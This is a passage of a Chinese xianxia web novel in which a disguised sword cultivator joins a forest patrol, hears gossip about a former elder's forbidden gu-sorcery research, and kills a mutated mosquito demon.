占地极广,最深处几乎没有人迹,或是去过的人没再现世;而药神谷所处的位置不过是深林之外的最后一道防线,算是一种镇压;林中很危险,药神谷似乎并不怎么管,或者说不能管林中的生态,只是在其中建立了自己一道秩序,因此谷神森林依旧野蛮。 这么一梳理,她便弄清了这些弟子们不安的原因:毕竟药神谷就在谷神森林中,就算是建立了秩序,但若是森林出了差错,导致灵场和结界异变,那么这道秩序自然也会不攻自破。 到时遭受危险的不仅是谷中的弟子,更是森林外的无辜民众。 药神谷至今未能掌管森林,可见其中有不能解之难题,难怪会惊动落桦谷主。 ……不过这些和她们归壹派似乎并无关系,因此石映心真正关心的只有一个问题: 谷神森林的异象是否和她们在罗宝山石窟中的行径有关? 如果真有关…… 石映心叹了口气,心说那这次的烂摊子可就太大太烂了……师父师公她们能否收拾呢? “你也别太害怕了。”见她面色严肃、还唉声叹气的,路人师姐好心宽慰道,“有什么事还有谷主和长老他们在上头顶着呢,我们这些小弟子就安分待在谷中好好修炼便是了,别出去瞎折腾就是帮忙啦。” 石映心还在自己的思绪之中:“嗯……” “不过,”又听路人师姐话锋一转,“我听说谷主都派出护林队了……看来这次确实危险,估计没多久就要让众长老封闭森林了,谷中弟子和外界凡人都不得再进入森林……” 石映心思绪回笼:“护林队?” “是啊,”路人师姐说,“好像就前两日开始。” 石映心谢过路人师姐,转身往药神谷大门飞去。飞近了一看,见门口不远处围着许多人,但大门口已经被一群穿着深绿色、有别于普通门服的统一服饰的弟子看守住了,人群中隐约传来有关“护林队”的议论声。 第250章 这些深绿色服饰的弟子们应就是护林队的人。 看来她来得晚了,药神谷已经被封锁。 石映心隐在人群中张望了一会,看见边上有几位护林队的弟子正打算从边上的小门出去,她不动声色地转移到附近,使用道具“二师兄的呆头呆脑小木人”,让其不管不顾地往大门外冲去。 边上的护卫队对小木人胆大包天、毫不掩饰的违规行为一时没反应过来,等回神去阻止的时候,只见它扔出一个烟雾弹球来—— 人群一片混乱和躁动。 等场面恢复平静之时,小木人已经乖乖束手就擒,被两个护卫队弟子押着往边上走了。看好戏的弟子们也纷纷松了口气,感叹道“不愧是护卫队”“烟雾弹算什么,对他们来说小意思啦”“只有我被吓到吗”……巴拉巴拉。 石映心(伪装药神谷护卫队版)趁此混乱已经成功复刻了其中一名护卫队弟子的模样,低调地跟在队伍的后头,成功出了药神谷大门,迈入谷神森林之中。 “哈~”走在前边的人打了个哈欠,“昨晚没睡好就算了,偏偏今日轮到夜班。唉,要等明早才能回来了。” 明早回来?石映心心想,和她的打算正好,屠芜她们大概也要明日才能回来…… “我和你说话呢?” 面前之人突然停下,石映心抬头看去,瞧见一张有些疑惑的脸:“小黛,你怎么不回我话?” 石映心张了张嘴,先是打了个假哈欠:“哈……我刚刚犯困。” “你也没睡好?”对方并无怀疑,只是提醒道,“赶紧打起精神来,等会进了森林中可不能再走神!” “好。” 原来她替代的这名弟子叫小黛,而面前这位似乎和她很熟络的女弟子名叫夕颜,二人应是好友。 她们这队有十人,是去换班的。到了位置后就每人站在点位上,四处张望着警惕异样,默默祈祷无事发生,最好等到了时候就能准时回去……从队伍不太紧张的氛围中可以看出,这两日林中没出什么大事。 石映心旁敲侧击地从夕颜的口中问到,其实就是前半月开始,林中许多精怪莫名躁动,这些小东西以往都是避开人的,但突然有了伤人的行径。 好在都是些小妖小怪,且多是发生在凡人不涉及的内林,所以并未造成严重的伤亡。她们护林队被派出来的时候还有些莫名其妙,但都是按吩咐行事的弟子,不敢多问,只私下议论罢了。 “总觉得谷主和长老们对谷神森林的风吹草动太敏感了。” “是吧,我也这么觉得。” “但我印象中……谷神森林很少出现什么不可控的危险吧?” “几十年前唯一的危险还是自家人搞的……” “啊,什么意思?” “咦,你们不知道吗?” “不知道啊,什么什么什么,居然有什么八卦是我不知道的!快说——” “嘘!这可不兴说……” …… 什么什么什么,究竟是什么?石映心非常好奇,正想凑到前边去听细致点,但被夕颜拉住了:“你上哪去,我俩负责的点位在这呢。” “哦……”石映心只好又安分坐了会,用耳朵注意着那边的动静,可知道那八卦的人嘴非常硬,愣是旁人怎么软磨硬泡就是不说,仿佛是个惊天大秘密似的。石映心琢磨着找机会照一照那人。 “喂,小黛,”夕颜打量她的神色,“我怎么总觉得你心不在焉的?找你说话也没什么兴致,一直走神发呆。” 石映心心说和你说话那不是容易露馅嘛:“哦……我昨晚吃上火了,今日嗓子有些不舒服……夕颜,你有听见她们在说什么吗?” “上火了?吃点败火草啊,”夕颜说着就变出几根石映心压根不认识的草药递过来,“喏,我这有很多呢。” “……多谢。” 对方这么热情贴心,她只好接过来,犹豫中抬眼瞅了瞅夕颜的神色,确定是能生吃的,于是便放进嘴里嚼吧嚼吧,一股涩涩的草味,能吃且难吃。 见她吃上草了,夕颜才接上刚才的话:“小黛,你是好奇小佳她们说的八卦?” 石映心耳朵一动:“嗯,你知道?” “略有耳闻吧。”夕颜露出回忆的神色,“不过此八卦版本很多,就是听了也不知真假。” “所以叫八卦。”石映心表示理解,“那么你听到的版本是如何?” 看得出来夕颜也很无聊,其实她就是想找人说说话,方才“小黛”一直心不在焉的态度让她有些失落,这会对方主动问起来,她显而易见地变得兴致勃勃:“姐们不骗你,我觉得我听到的版本最真!” “是吗?” 夕颜道:“这得追溯到几十年前的一件往事了。” 这段时日追溯的往事太多,石映心已经熟练地做好了倾听的准备:“请说。” 夕颜便说:“传闻我们药神谷之前有一位很厉害的长老仙尊,修为和谷主不相上下,可她平日的重心却不在药丹医上,而是蛊术。” 石映心:“她是蛊修?” “不是!”夕颜摇摇头,“她和我们一样,只是普通的药丹修,可她偏偏喜欢研究蛊术,想要成为蛊修。世间蛊修难得,一千人中难出一个;就是出了这一个,入门简单进阶却难,大部分蛊修到最后可能还没有普通的药丹修的修为高……” 石映心自然想到这人:“屠莱?” “哎呀,你是会抓重点的。”说到这,夕颜的眼珠子左右看了看,一副神秘的模样凑过来,“屠莱师兄是天赋卓越,但大家都知道这是因为他能比普通药丹修多修炼一门蛊术,毕竟物以稀为贵嘛。” “可目前看来,他若是想破境,还得以药丹修的本事,毕竟蛊术再往上的路太难走。只是这样就有分歧,若以药丹术破境,怎么能算是蛊修;可想以蛊术破境,却上不去。你说这咋整?” 石映心这会才完全明白了屠莱不顾危险也要去罗宝山石窟的原因,他是想以蛊修的身份破境,因此只能去寻柳暗花明。 夕颜说:“那位长老仙尊,虽然没有成功转为蛊修,但确实研究出了不少可行的蛊术,据说现在谷中蛊修弟子修炼的功法中很多都出自她手呢!你说她一个药丹修却能有如此成就,是不是很厉害?” 虽然药丹术和蛊术间有互通的部分,但夸张点说就是一个剑修去编写符修的教学书籍……石映心自觉没这样的本事:“确实厉害。” “所以啊,”夕颜眨眨眼睛,“那会她说找到了能让药丹修学习蛊术的办法时,相信和支持她的人才这么多。” 什么?石映心微愣:“她找到办法了?” “她自己说是找到了,但没实行呢,所以不知那办法究竟有没有用。” “为何没实行?” 夕颜又压低了声音:“因为长老们……主要是谷主他们不同意。” “为何不同意。” 夕颜耸了耸肩:“我要是知道就好了,这是我们这些小弟子能明白的事吗?大伙都只是在岸边看个海上波澜罢了,海中的秘密……谁要敢说我都不敢听。” 这时的石映心想起了什么:“不过……难道你、我们这些普通药丹修,就不可能修习蛊术了吗?” “当然不行了。”夕颜理所当然道,“哎呀,说实在的,哪个弟子刚入门时没偷偷练过蛊术啊,感觉看起来和普通法术很像,但其实压根行不通的。” 行不通? 那屠芜怎么行得通了?难道是她也找到了传说中那位仙尊的办法? “行不通有没有可能是……”石映心试探地问,“大家不够努力?” “还要多努力啊?药神谷不缺努力的弟子。”夕颜啧啧啧道,“只是天赋的原因啦。” 石映心:“可若只是天赋原因,为何那位仙尊说找到了办法呢?” “你怎么又问到了重点?”夕颜半开玩笑道,“这正是谷主他们拒绝仙尊的理由,反对派认为蛊修的天赋是与生俱来的;问题是仙尊本人也说,她那个办法可以让大伙修习蛊术,但不一定能成为蛊修。” 石映心想了想:“只是学会表面技能?” 夕颜:“对,就是不太可能靠蛊术破境。” “但世间很多修士……不只是蛊修,就连剑修符修器修也一样,他们只能学会入门的法术,破境却很难,仿佛也只是掌握了一门区别于凡人的技术罢了。”石映心道,“这些人像是修仙界的普通人一般,可他们也存在……他们的存在也没什么不好。” “是没什么不好,”夕颜说,“可不存在也没关系吧?” 石映心一愣。 又听她说:“更何况,当时那位仙尊想出的办法一定是需要付出很大的代价,不然有利无弊的事谷主他们没理由不答应啊。那你想,付出大代价让一群药丹修修习对他们的修为来说没什么大用处的蛊术……这划算吗?” 石映心实话实说:“不划算。” “而且!”夕颜微微皱起眉头,“还有传闻,说那位仙尊是有私心的!” “什么私心?” “说她是为了她族的利益着想呢。”夕颜道,“你也知道我们药神洲有许多少数人族,先前就有人研究过,说不同人族对药丹术的天赋各有不同,有些适合炼丹有些适合养虫……而那位仙尊所在的人族,几乎涵盖了所有蛊修。” 也就是说,她族有出蛊修的天赋。 石映心仿佛已经看到了答案,但还是问了一句 :“是什么族?”【】 250-260 第251章 “螺族。”夕颜说,“你知道吗?屠莱师兄也是螺族人哦。而且螺族很早以前就以蛊术出名,不过他们那时候只是蛊师,不是蛊修;也有长老猜想过,是不是先成为蛊师再变为蛊修会更容易些呢?但那些蛊师修习的蛊术只是凡人医术,和蛊修的蛊术是不同的……” 石映心可太知道了,接下来夕颜的絮絮叨叨她就没怎么听进去。 漫长的思绪过后,她有些突兀地打断了夕颜的话:“所以,仙尊究竟做了什么,才让谷神森林中出现了危险,让谷主长老们对森林的风吹草动如此敏感?” 夕颜叨叨叨地不自觉就说远了,这会被石映心扯回来还有些发愣,足足反应了一会,大概也是在回想,这才道: “听说是……那位仙尊需要一件深林中的宝贝,她差点就要拿到了,但是被谷主阻拦了。可就因为这‘差点’,导致森林动荡了足足三月,出现了好多异变的妖魔鬼怪,为了镇压,还造成了不少伤亡呢。” “总之出了此事,原先赞同那位仙尊的人都倒戈了,毕竟谁想面临危险啊?而仙尊也离开了药神谷,从此杳无踪迹。谷主和长老们也下令不许谷中弟子再议论此事……” 说到这,夕颜忽然回过神似的,朝石映心“嘘”了一下:“我今日把知道的都告诉你了,你可别告诉别人啊!就是告诉了别人,也别说是从我这听的。” 石映心颔首:“好。” 见她答应了,夕颜松口气,伸了个懒腰瞅了瞅天色道:“哎呀,还是说八卦有意思,时间过得真快呢。” “好像没那么快,”石映心抬头瞅了眼。 “很快啊。”夕颜扭扭脖子,“这都要天黑了。” 石映心便没再说,只是站了起来,问了个有些莫名的问题:“附近有多少护卫队的弟子在值班?” 夕颜虽不知道她为啥好奇,但还是回了:“我算算哦,面对深林方向半环绕药神谷两个半圈,内圈大概有七支队伍,外圈九支,一支十人……大概有一百六十人?你问这个做什么?” 石映心没答,又问:“我们这支队伍的实力在这十六支中排行如何?” 夕颜挠挠头:“我们在外圈最近门派的位置,应处于中等?不是姐们,你咋开始关心这些事了?” “没事。”石映心朝她笑了笑,“问题不大。” “问题不大是什么意……思……” 她的余音消失在看见从“小黛”身后幽深漆黑的森林中冒出来的那个巨大黑影的震惊里。 夕颜:OO? 这是什么玩意? “我去!来活了——快放信号弹!”边上传来小佳她们的惊呼,“夕颜小黛,你们还愣在那里干嘛?赶紧过来啊!” 夕颜回过神来,拉着不紧不慢的小黛连忙和其他八人集合在一起,大伙已经匆忙拿出了自己的宝器做战斗准备。这时候人群中有人问:“奇了怪了,怎么它都走到我们面前了我们才发现啊?” 又一人颤抖着声音回道:“大概可能也许是因为……这只妖怪的修为在我等之上?” 众人:…… 嘘,不准说。 那只妖怪这时候显出真面目来,是一只异变的蚊子怪,长得足有一颗大树那么高大,长长的喙如刀剑般锋利;走动时,毛毛的触角在枝叶间扭动着,啪啪打下不少树叶;两只复眼外都长了一圈利牙,不知道的还以为是眼睫毛。 这家伙和那些普通的蚊子已经有了很大的差别,比如瞅它宛如盔甲般的外壳,显然已不是一只手就能拍扁的嘎嘣脆;还有那六只大长足,足尖的锋利在幽暗的林间还闪着寒光,一看就不一般。 再别提它还长了翅膀,等会飞起来就很热闹了。 众人如临大敌。 夕颜咽了下口水:“这是啥……看构造是……蚊子?” 石映心感叹:“我第一次这么清楚地看清蚊子的模样。” 夕颜心说这玩意书籍上不是出现过好几回吗,而且都是基础课啊,你这家伙上课很不认真哦……但现在重点不是这个,于是她就没吐槽,和小佳她们商量道:“怎么办,摆毒阵?” 小佳:“行!” 她们动作很快,石映心就见几人飞速地散开,似乎都有各自要去的站位,夕颜瞅见她还在原地愣着,着急道:“小黛,你怎么回事?!” 石映心朝她眨了下眼睛,照明白了“毒阵”是怎么回事后,转身飞上了边上的一棵树,镇定地朝还在看着她的夕颜点了点头。 夕颜:…… 这家伙今天真的怪怪的。 石映心已经明白,夕颜口中的毒阵就是十人分两圈将蚊子怪包围起来,形成一个可攻可守的排布阵法;她们再依次对蚊子怪发起毒术进攻,不同毒术之间各有作用,又能相互配合,让蚊子怪被毒得神志不清找不着北……然后轻松被她们拿下。 以上是理想中的情况。 实际的情况是,正如先前某位弟子的不妙预感,这只蚊子怪的修为居然在她们大部分人之上,因此很难对付。 和石映心一样待在树上的弟子们属于第二圈,应该先是由她们在暗处施法固定住蚊子怪,然后由地下第一圈的弟子施展毒术。但问题是,这蚊子怪是盔甲外壳,唯一脆弱些的复眼也被一圈眼睫毛利牙给包裹住,相当于穿上了一层防护衣,没有毒素可以进攻的地方。 “糟了!”有人喊道,“毒素进不去,你们谁带了溶解粉?!” 大伙纷纷应没有,那玩意用得少啊。 既然如此,小佳便先收回毒术不再浪费:“毒素进不去,快想想其他办法!” 可蚊子怪并不给她们想办法的空挡,只见它忽然往前压下身子,将后边尾突的尾突一抬,竟然有一阵密密麻麻的黑雾喷了出来—— 石映心从树叶后冒出脑袋:“它拉屎了?” 夕颜:“……这是在产卵!!” 那些组成黑雾的无数的蚊子卵,在空中飘散后立刻孵化成了无数的蚊子,细密蚊子群顷刻笼罩了上空,将本就昏暗的天色变得浑浊;嗡嗡嗡的声儿仿佛魔音一般飞入众人的耳朵,引起许多心烦意乱。 石映心一时没搞清楚是她原本那就讨厌蚊子叫才如此心烦还是因为…… 夕颜:“快屏蔽耳识,这些蚊子声会影响人的意识!” 石映心:原来如此。 她们便屏蔽了耳识用密音交流。 这会儿因为蚊子群的出现,场面一时混乱起来,树上的人依旧在努力控制住蚊子,但树下的人则要分心对付蚊子群。这些讨厌的该死的烦人的不知道有何用处的臭蚊子,她们毒死一批,那蚊子怪母体又拉一批…… 众人:啊!! 简直烦不胜烦。 后来小佳想到了一个办法:“你们谁试着在这该死的玩意产卵的时候毒她的产卵器!” 有人打量了一圈:“小黛的方位最合适!” 小黛(石映心版):“我吗?” 小佳:“对就你!” 小黛(石映心版):“好。” 她的位置确实正对着蚊子怪的尾部,但毕竟是外行人,这会她就有些犹豫,虚心请教道:“用什么毒术比较好?” 夕颜:“随便你。” 小佳:“看着来。” 大伙:“相信你!” 全队的希望·小黛(石映心版):“好吧。” 她压根不知道这些毒术什么是什么,只是照照别人然后自己模仿着用罢了;但感到大伙如此的信任,石映心就用自己聪明的小脑袋瓜琢磨了一下:先前见小佳她们的毒术都没有什么明显的效果,如果她同时使出两种…… 不不,俗话说事不过三,那就一次使用三种好了,如果同时使出三种毒术,指不定有意外之喜呢? 思及此,她回忆了一下方才照过的几种毒术,随机挑选了三样,慢慢地在手心汇聚了三股异色灵气,不知为何这三气并不交融……但问题不大吧?不懂,反正先试试嘛。 这时忙碌中抽空瞥了眼小黛的夕颜:OO? 她在搞什么玩意? 等等……这不对吧? “喂、小黛……” 可她压根来不及阻止,就见那蚊子怪又是一撅屁股,然后小黛(石映心版)就快准狠地将手中的三股硬被她揉成一团的异色灵气往蚊子怪的屁股一送—— 只见那灵气球挤入了蚊子怪的尾部产卵的部位,宛如一只细蛇一口气吞下肥硕的野鸡,一时无法消化只能艰难地挪动;但原本被固定着的蚊子怪忽然躁动起来,发出一声长鸣刺耳的“嗡——”。 随着它的叫唤,那灵球在尾部猛地滚动起来,发出了刺眼的三色光芒,仿佛要将蚊子怪的尾部炸开——事实上也确实炸了,在护卫队弟子震惊的目光中、某剑修好奇且无辜的打量下。 砰! 一阵轰鸣中,众人被热浪掀飞,好在也没飞多远,大多都被砸到了附近的树上,簌簌淋了一头的树叶。 夕颜“咳咳”又“呸呸”地吐掉口中的叶子,将脸上的乱发和落叶拂开,思绪比她的模样还要混乱。 那家伙到底在干嘛,难道不知道那三种毒术混在一起会爆炸吗!? 无语之中她睁开眼,瞧见面前一片毒雾弥漫,大脑中的警铃乍然疯狂作响,连忙罩上了防毒屏障。夕颜艰难地撑着身子站起来,打算去看看那个闯了祸的家伙是否还活着。 只是没走两步,就见迷雾中显出一个硕大的影子,正是那只屁股被炸了的蚊子怪,这会它已经挣脱了束缚……主要是束缚它的护卫队弟子都被炸飞了啊!于是这大难不死的怪物就重获自由;不过原来只有一条的尾巴裂成了两半,此时正在源源不断地产卵,先前还要撅一下屁股歇一会的,这下是很方便了。 而这些卵、以及不断从卵孵化的蚊子就是这毒雾的组成部分。 糟了。夕颜想,怎么给这妖怪炸升级了…… 第252章 “夕、夕颜……” 她正要往前走去,却听后边有人叫她,回头一看,是撑着树站起来的小佳:“快、快……再放一个信号弹……” 毒雾中夕颜的面色很沉:“可我们第一个信号弹放了这么久还没人赶来支援,我看是出了意外。” 小佳一愣,喃喃道:“说的也是……” 但她话音刚落,就听到后边有信号弹的声音响起,是其他队员放的信号弹。放就放了也没什么,当做多一分希望算了;倒霉的是这响声引来了蚊子怪的注意,见它在迷雾中调转了方向,迈着大长足踩着一地落叶废墟就走来了。 “糟了……”小佳忙道,“快躲起来!” 夕颜却没动,着急地左顾右盼着:“小黛呢?小黛在哪?” “她估计也躲起来了。”小佳拉住她的衣袖,“泥菩萨过河,先自保吧!” “可她今日很不对劲……”夕颜越发情急,干脆喊了一声,“小黛!” 回应她的只有蚊子怪,见它热情地展翅飞来,翅膀如大刀一般,被擦过的树枝纷纷被一刀砍下。 夕颜:“小黛——” 小佳:“我真服了!” 她一把拉过夕颜躲开蚊子怪的长喙进攻,二人却在拉扯间被地上的树根绊倒,抱在一起滚到了一颗树脚下,疼得哎呦叫唤。等她们狼狈地支起身子时,就见一双被利牙眼睫毛放大的复眼近在眼前,正水灵灵地看着她们。 二人:OO 蚊子怪:个I个 危急关头压根没有其他思绪,只浑身僵硬着,眼睁睁地见那尖喙迎面袭来—— 铮! 比死亡来得更快的是一阵剑光。 那锋利的尖喙竟然就这么被这道剑光一招砍下,歘地横飞而去,贯穿了一颗大树的树干,这颗无辜的树就这么肉眼可见地开始萎靡消亡;而被切断了长喙的蚊子怪也吃痛地惨叫起来,疼得乱了方向,乱攻击时撞到了一边的树上。 救援来了! 夕颜和小佳满怀希冀地去看——就见拿着剑的小黛飞身而来,立在了二人面前,朝她们伸出了手:“你们没事吧?” 二人:O0O 一时不知该震惊哪点。 小佳上看看她的脸,下看看她手中的剑,脑子非常混乱:“你你你,你这家伙什么时候学会耍剑了!?” 夕颜这会总算有了些思绪,她斩钉截铁道:“你不是小黛!” 事已至此,石映心也没想再瞒,转脸变了自己的模样,顺便还把衣服换了,如此便不必再解释自己的身份。 果然,一看她的门服二人便明白了:“你是归壹派的人!” “难怪、难怪……”夕颜顿了顿,忽然想到什么,“你把小黛怎么样了!?” 石映心解释道:“她在药神谷中很安全。” 夕颜松了口气:“那就行。” 小佳惨笑:“喂拜托你担心担心现在一点都不安全的我们吧!” “没事,”石映心随手挽了个剑花,稳重淡然的表情在她背后突起的暴怒蚊子怪的衬托下显得那么可靠,“现在大家都很安全。” 二人:OO 就见剑修脚尖点地,飞起时跳跃旋转着挥出剑式,快到来不及眨眼的一招就这么将蚊子怪一对复眼划出了一道贯穿左眼右眼的伤痕,她这时听见后边夕颜喊了一声“它的体·液有毒”,于是不紧不慢地荡开剑气,将飞溅出来的毒液回弹。 那外壳坚如盔甲的蚊子怪,分明狡猾地长出了能抵毒粉的盔甲,但在剑修的利剑前却不堪一击:三两下就被砍去了前中后足,那恶心的毛茸茸的触角也被削去了毛后在风中瑟瑟发抖;如大刀般的羽翼,竟然轻松被剑刺破,看剑修的轻松模样,仿佛只是在砍一片叶子。 至于由尖牙眼睫毛包裹的复眼,这大概是此时已经苟延残喘的蚊子怪的罩门,要不然它这会也不会一直不敢睁眼。 但这对石映心来说便不是难事,她将灵力包裹在帝血剑上,剑身嗡嗡一声震荡出磅礴的剑气;她飞身而起,几步轻踩在不同的树上变换着身形和方位,速度快到不敢睁眼的蚊子怪都反应不过来,等它惊觉时,那骇人的剑尖已到了眼前! 蚊子怪惊惧地闭上眼睛—— 铮!滋啦—— 火花在剑身与利牙之间飞溅,蚊子怪感到眼前一刺儿一刺儿的明亮,可它分明紧闭着眼睛?然而这些疑惑都不重要了,随着一股极致的热量涌进它的脑中,带着极致冰冷的死亡让它无法再思考。 轰然倒地声后。 蚊子怪,卒。 听到动静凑过来、躲在暗处旁观战况的护卫队成员们纷纷探出脑袋来,新奇地打量着倒在地上的大蚊子尸体、以及站在边上不紧不慢擦剑的剑修。这一切热火朝天的来回对局非常快,可以说是速战速决。 归壹派的剑修……果真恐怖如斯。 不过蚊子怪死了,它先前已经产下的卵和小蚊子还活着,这些有头蚊子像无头苍蝇一般依旧在空中四处乱飞。小佳很快反应过来,朗声道:“快拿药粉毒死这些蚊虫和卵!” 护卫队成员们兴奋地应了一声,都跑出来帮忙四处撒粉。 夕颜一边撒粉一边还想着再问问小黛的情况,比如这位剑修到底把她好友扔哪了,她想问个具体位置回去好捡人。想到这她往剑修的方向走去,却见她一直在……挠胳膊挠脸? ……不是吧? 她连忙跑过去把对方拉过来一看,果真见她露出来的手腕脖子和脸颊上都冒了大片的红,这人还一边挠一边镇定地问她:“怎么了?” “……这是我要问的吧?”夕颜张了张嘴,“你没罩防毒屏障吗?” 石映心挠挠脖子:“那是什么?” 夕颜叹了口气:“也是,你们归壹派不需要这玩意。” 说着给她罩了个防毒屏障,又掏出几颗药丸来递给她:“这些蚊虫有毒,吃点药吧,别抓了,抓破了更糟糕。” “多谢。”石映心接过来服下,忍着不挠痒,“这些小蚊子就交给你们了。” “本就是我们药神谷的事……”说到这,夕颜自觉有些尴尬,“没想到还要你们归壹派的人帮忙……” 石映心微微摇头道:“八大仙门之间本就该互帮互助,再说也是我自己偷摸跟上来的,方才还不小心闯祸了。” 说到这,夕颜就想起来了:“对哦,你是归壹派的人,怎么会我们药神谷的毒术?虽然是在瞎用……” 石映心含糊道:“我有一种特别的宝器。” “是哦……不过你为何要代替小黛跟来?” 石映心张口就来:“只是好奇罢了。我听过谷神森林的传闻,因此也想来看看什么情况……不过主动提出要来,我又是外门的人,你们肯定不会答应。” “原来是这样。”这理由听着合理但也太轻率了,夕颜虽没完全相信但也识趣地没多问,叹了口气道,“不过话说回来,要不是你跟来了,我们很可能对付不了这蚊子怪……它的修为居然在我们这队人之上,按理来说这种等级的妖怪很早就会被察觉然后被歼灭的……” “也就是说,”石映心接上她的话,“这只蚊子怪是在短期内急速进阶,很可能就是在谷神森林出现异样的这段时间内,所以你们没有察觉。” 夕颜一愣:“不错。” 不等她回过神来,又听面前这位剑修道:“而且这只蚊子怪的异变进阶之后的形态……非常克制你们药神谷的毒术。” 夕颜二愣:“是,你也这么觉得?” 剑修说:“花草虫蛇长势如何,要看所处环境;相同的生物在不同的环境中也会有不同的发展;正所谓一方水土养一方人,我想 这些妖怪也是这样的道理。” 夕颜三愣:“你怎么说话说得像我们药神谷的弟子?” 石映心顿了顿道:“有一位我们归壹派的仙尊教过我这些事。而按照她的说法,世间的生物发展皆是适者生存,那么显然,这只蚊子怪的变异方向已经从适应谷神森林环境演变为……适应你们药神谷的存在。” 如此才会出现这只可以抵御药神谷毒术的蚊子怪。 夕颜对她的结论感到讶然:“你说得有理,但……这不应该啊,我们药神谷并不干涉谷神森林的生态……” 石映心扔下这句话,抬头看向昏暗的天边,忽然转了话题:“是不是到换班的事后了?” 夕颜猛然回过神来:“早过了!” 这时候小佳带着几人跑过来:“毒雾差不多都处理好了,接下来该怎么办?也没人来换班啊。” 夕颜也是满脑混乱,不知为何下意识地看向了在场的唯一外人。好在剑修很靠谱地说:“我先带你们回药神谷。” “那换班的队伍……” 石映心:“估计也是遇上难题了。” 她们现在是自身难保,还是先回谷中妥当。来的时候是走过来的,路上还能顺便查看情况;回去就方便得多,可以直接启用药神谷令牌上回门派的阵法…… 按理来说是这样的,但今日却很奇怪,阵法启动时形成的灵场一卡一卡的。几人为防止中途出意外,只好先徒步往门派的地方走了一会,等灵场差不多稳定之后再启动阵法回去。 第253章 夕颜这队人一回来,就发现边上有许多面色焦虑的护卫队队友。见到她们回来了,都是松了口大气,匆匆上来询问情况:“什么情况,怎么都联系不上你们!” 小佳皱眉道:“联系我们?可我们还放了两个信号弹!” 那人惊道:“压根没看见啊!你们出去没多久后就一队就跑回来报信,说林中出现了一些高阶的妖怪,非常难对付,所以长老他们就紧急发送信号将所有队伍召回;大部分都回来了,有些还在失联中,现在由长老带队前去救援……好在你们回来了。” 几人听得都冒了冷汗,又听对方问:“你们到底发生什么事了?” 那发生的事可太多了。 夕颜忽然想到剑修,转头看了看却不见了她的身影,于是紧忙拉住一人问:“小黛呢?你看到小黛了吗?” “小黛啊?她躺边上草地上晒着太阳睡着了,挨了顿批就被赶回去了。” 夕颜松了口气,又想问问那位剑修的消息…… 这会才发现压根没问对方名字呢。 * 药神谷出事了。 石映心本想先回去给自己门派通风报信,谁知一到小屋门口,就瞧见了一个陌生的药神谷弟子在她门口等候,也不知是被她的结界拦着才没进去,还是人家有礼貌。 “石道友。”陌生弟子朝她拱手,客气道,“冒昧打扰,在下是落叶长老的徒弟,孙渤。” 落叶长老的徒弟?那就是屠芜和屠莱的师兄弟了,石映心便问:“你来找屠芜她们?” “算是。”孙渤道,“不过师弟他们应还未归来,所以准确来说,在下是受落叶长老之命来请石道友。” 请她?“落叶长老找我何事?” 孙渤苦笑一声:“师父并未明说。” 石映心想了想:“好,你稍等一会,我之后随你去。” “有劳了。” 石映心进了屋中,先看了看还在昏迷中师兄妹三人,安安全全;又飞快地写了传音符传送回门派,这才出去跟着孙渤去见落叶长老。 对方见了他,先没问他两个徒弟的事:“石小友,怎么只你一人前来,你的几位师兄师妹呢?” 石映心一听便知道落叶长老有些“请求”,正巧她也需要对方帮忙医治自家师兄妹,因此掩去详细的经过和事因,简略地说了一下三人如今的情况…… 落叶听罢,苦笑一声道:“真是天意弄人,我正巧有个麻烦事想要几位帮忙。” “是什么麻烦事,我一人也能帮忙。” “你一人吗?”落叶摇摇头,“你一人忙不过来。” “既然这样,”石映心便说,“我一人先忙着,还请长老您想办法救治我的师妹她们,届时三人都醒来了便忙得过来。” “你们是我徒弟的好友,于情于理我都该出手相助,”落叶似乎也没办法了,“那就如石小友你说,劳烦你先帮我的忙,我稍后便去看看三位的情况。” “好。” 落叶长老要她帮的忙就是处理谷神森林的事,石映心早有预感,因此并不意外。 “如今谷神森林中出现了大批异变进阶的妖怪,个个都有抵御药神谷毒术的本事,实在叫我们猝不及防。不过这些妖怪对像石小友你这样厉害的剑修来说还是不在话下的,只是数量多了些,怕是要多劳累你了。” 石映心靠谱道:“问题不大。” 她瞅着落叶长老忧心的神色,顿了顿又贴心地说:“不如……我传信回门派,叫些支援来?” 落叶长老露出一个苦笑:“目前局势还未到需要惊动你们门派的地步……再说谷主也不会同意的。” 石映心听出这句话的重点,因此并未再劝,点点头说:“好,那就听长老您的安排。” 落叶的安排就是让她临时加入护卫队,不过这次的队伍属于精编版,不仅弟子们的修为更高,人数更多,而且看门服,还有几名旁的别的门派的弟子在里头。估计都是些来药神洲做任务或是游玩,然后紧急被叫来的。 这是刚组织好的一队,有二十人,还有一队正在林间搜查救援那些白日出去值班、不幸失去联系的队伍。 石映心跟着队伍出发,孙渤也在其中,二人也算是认识有半个时辰了,再加上有屠家兄妹的共同好友,干脆互相照应。 石映心问:“你们知道屠芜她们还未回来吗?” 孙渤答:“师父知道,我才知道。” 石映心又问:“你师父知道她们在做什么吗?” 孙渤又答:“大概有个眉目吧。” “看来你也知道。” “毕竟是自小一起长大的师兄妹……不过我也只是知道个大概。” 石映心微微颔首。 这会天色已黑,谷神森林中阴气森森,好在有二十人拿着各自的照明宝器,倒是让前路和周遭一片亮堂,驱散了许多可怖。大伙也不是非常严肃的紧张,彼此间还说着话,气氛融洽。 石映心和孙渤走在最后的位置,二人没那么多话可聊,大部分时候都只是沉默,听旁人在说什么。 这时候孙渤听到前边有人说到罗宝山石窟的事,便对石映心感叹道:“没想到你们几人入了石窟中还能安全归来,果真是修为非凡、胆识过人,叫在下佩服。” 石映心默了默:“还行吧。” 不过他说到这,石映心就想到她下午杀蚊子怪的时候……她的修为好像进步了不少,用帝血剑耍剑招时释放的剑意也更强势了;当时她有些讶异,不过并没有深究的时间。 孙渤:“石窟中真的很危险吗?” 石映心回收一些注意力回答他:“嗯。” 孙渤似乎很好奇:“究竟是怎样的危险?难道是有高阶的妖怪?” 石映心:“差不多。” “传闻里边还有很多不易察觉的、千奇百怪的陷阱。” 石映心:“是有的。” “不过,”孙渤停顿了一下,若有所思道,“既然有危险,定也有不少机遇。” 石映心这才瞅他一眼,见他只是单纯好奇,并没有过于试探她的坏心思,倒是有想去石窟中试探的蠢心思,于是好心提醒道:“我师兄妹三人的情况你也看到了,我不觉得你比我和我师兄厉害。” 孙渤一愣,脸上的笑容变为苦涩:“没,没,现在谷中谷外是这样的情况,我怎么也是不敢去的,多谢提醒……不过,你听见他们说的了吗?” 石映心刚刚走神呢:“什么?” 孙渤微微压低声音,朝前边的几人抬了抬下巴示意:“他们说这些时日谷神森林的异动和罗宝山石窟有关。” 石映心人心思动:“是吗?这是有什么依据?” 